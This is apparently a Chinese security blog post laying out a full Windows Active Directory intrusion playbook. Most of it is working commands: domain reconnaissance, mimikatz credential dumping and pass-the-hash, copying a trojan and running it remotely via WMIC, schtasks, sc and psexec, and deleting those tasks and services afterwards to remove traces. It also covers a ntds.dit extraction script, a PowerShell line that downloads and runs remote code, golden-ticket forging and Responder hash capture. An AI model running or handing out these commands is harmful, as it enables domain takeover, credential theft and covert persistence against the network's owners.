1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
net view /domain net config workstation net group "Domain Admins" /domain net time /domain ipconfig /all nslookup xxx dsquery server 查看域控制器 net group "Domain controllers" 查询所有计算机名称(windows 2003) dsquery computer 下面这条查询的时候,域控不会列出 net group "Domain Computers" /domain |
还可以通过powershell进行信息搜集,收集的信息包括域控机器,网段信息,域内服务列表。使用powershell的话,首先要绕过默认的安全策略,具体看文章https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
1 |
PowerSploit\Recon\PowerView.ps1 |
powerview Get-NetDomainController 收集域控信息 具体的可以看看powerview的帮助文件 域内服务信息收集,在域环境中其实无需做端口扫描。直接通过SPN进行信息收集,具体脚本
1 |
PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices.ps1 |
1.日常规服务,通过前面收集的服务信息,针对性跑这些服务。其中跑sqlserver弱口令比较好,跑出来了就可以执行命令。
2.抓密码 拿到一台域服务器后,首先加载mimikatz的powershell脚本将内置的信息抓取一遍,如果域管理员登录过的话,直接就获取到了域管权限。但是在windows2012后mimikatz抓不到明文了(包括打了KB2871997这个补丁的机器),只能通过修改服务器上面的一些设置来获取,有完整的powershell利用脚本。 https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
3.pass the hash 抓到密码破不出来就只能pth了,可以使用mimakatz
1 |
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a |
但是打了KB2871997这个补丁后常规的pth不能用了,只能传递administrator这个账号(sid=500),但是可以使用mimikatz任意传递aes256
4.steal token 当你获取了本地计算机的system权限后,如果这台机器上有域用户跑的进程,就直接可以窃取域账号的token,然后从本地用户组跨入域环境。如果这台机器上有域管的开的进程,那么直接steal token后就可以登录域控了。
5.远程执行命令方法
1 |
copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件 |
WMIC远程运行命令
1 |
wmic /node:host /user:administrator /p 密码 process call create “c:\windows\temp\foobar.exe” |
powershell remoting 执行命令
schtasks计划任务远程运行
1 2 3 |
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host schtasks /F /delete /tn foobar /S host ##清除schtasks |
SC添加服务远程运行命令
1 2 3 |
sc \\host create foobar binpath=“c:\windows\temp\foobar.exe” ##新建服务,指向拷贝的木马路径 sc \\host start foobar ##启动建立的服务 sc \\host delete foobar ##完事后删除服务 |
PStools 远程执行命令
1 2 3 |
<span class="hljs-tag">psexec</span><span class="hljs-class">.exe</span> \\<span class="hljs-tag">ip</span> –<span class="hljs-tag">accepteula</span> <span class="hljs-tag">-u</span> <span class="hljs-tag">username</span> <span class="hljs-tag">-p</span> <span class="hljs-tag">password</span> <span class="hljs-tag">program</span><span class="hljs-class">.exe PTH+compmgmt.msc</span> |
smb+MOF
smbexec远程执行命令
1 2 |
copy execserver.exe \\host\c$\windows\ test.exe ip user password command netshare |
不推荐使用pstools,因为会留下很多痕迹,日志要记录,并且如果禁用NTLM那么psexec无法利用获得的ntlm hash进行远程连接
6.ms14068 && GPP ms14068 可以通过先执行klist purge 然后在用mimikatz注入证书 这样域用户也可以直接使用这个漏洞。 GPP漏洞介绍 http://www.91ri.org/14909.html
1.非交互式 QuarkPwDump离线分析 需要文件:ntds.dit system.hiv 导出 system.hiv
1 |
reg save hklm\system system.hiv |
QuarksPwDump.exe -k 可以获取key
导出ntds.dit
连接到域控之后,上传bat 利用vshadow备份ntds.dit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow-2008-x64.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH% |
新建服务执行
1 2 3 |
sc create backupntds binPath= "cmd /c start c:\windows\temp\ntds.bat" sc start backupntds sc detele backupntds |
导出HASH
1 |
QuarksPwDump.exe -dhd -nt ntds.dit -sf system.hiv -o hash.txt |
ntdsutil导出
1 2 3 4 5 |
ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy MOUNT_POINT\windows\ntds\ntds.dit c:\windows\temp\ntds.dit ntdsutil snapshot "unmount {GUID}" quit quit ntdsutil snapshot "delete {GUID}" quit quit |
powershell 导出ntds.dit
1 |
powershell IEX (New-ObjectNet.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit" |
powershell导出后需要修复一下
1 |
esentutl /p /o ntds.dit |
导出ntds.dit
windows2008之后可以使用ntdsutil
1 2 3 4 |
user 用户名 domain 域完整名称 sid 获取方式:whoami /all powerview 里面的 Convert-NameToSid ESRINEA\administrator psgetsid -accepteula ESRINEA\administrator (PStoos存在) mimikatz SID::lookup name krbgt ntml hash mimikatz “@lsadump::dcsync /domain:域完整名称 /user:krbtgt" |
保存golden ticket
1 |
mimikatz kerberos::golden /user:administrator /domain:ESRINEA.LOCAL /sid:S-1-5-21-2609584263-878513794-3710365111-500 /krbtgt:EDC094659D9C18F4E320C70838404D43 /ticket:ESRINEA.LOCAL.kirbi |
使用golden ticket
1 |
mimikatz keberos::ptt ESRINEA.LOCAL.kirbi |
https://github.com/SpiderLabs/Responder 撸下内网一个网站挂上<img src=\\xxx\\xx>
然后执行下面命令,就可以抓取ntlmv2 hash
1 |
./Responder.py -I eth0 -rPv |
SMBRelay Attack
本文由 安全周 作者:SecJack 发表,转载请注明来源!
您必须[登录] 才能发表留言!